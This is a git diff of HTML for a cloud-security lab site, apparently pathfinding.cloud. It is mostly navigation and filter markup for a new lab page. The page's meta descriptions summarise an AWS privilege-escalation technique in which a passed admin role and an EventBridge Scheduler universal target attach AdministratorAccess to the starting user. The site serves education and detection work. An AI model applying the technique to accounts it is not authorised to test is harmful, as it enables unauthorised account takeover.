+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/scheduler-001/index.html b/docs/labs/scheduler-001/index.html
new file mode 100644
index 00000000..e2844119
--- /dev/null
+++ b/docs/labs/scheduler-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>PassRole + EventBridge Scheduler: Universal Target Privilege Escalation - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass an admin role to an EventBridge Scheduler one-shot schedule targeting the universal target `arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy`, causing the scheduler to call `iam:AttachUserPolicy` as the passed role and attach `AdministratorAccess` to the starting user">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/scheduler-001/">
+    <meta property="og:title" content="PassRole + EventBridge Scheduler: Universal Target Privilege Escalation - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass an admin role to an EventBridge Scheduler one-shot schedule targeting the universal target `arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy`, causing the scheduler to call `iam:AttachUserPolicy` as the passed role and attach `AdministratorAccess` to the starting user">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="PassRole + EventBridge Scheduler: Universal Target Privilege Escalation - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass an admin role to an EventBridge Scheduler one-shot schedule targeting the universal target `arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy`, causing the scheduler to call `iam:AttachUserPolicy` as the passed role and attach `AdministratorAccess` to the starting user">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
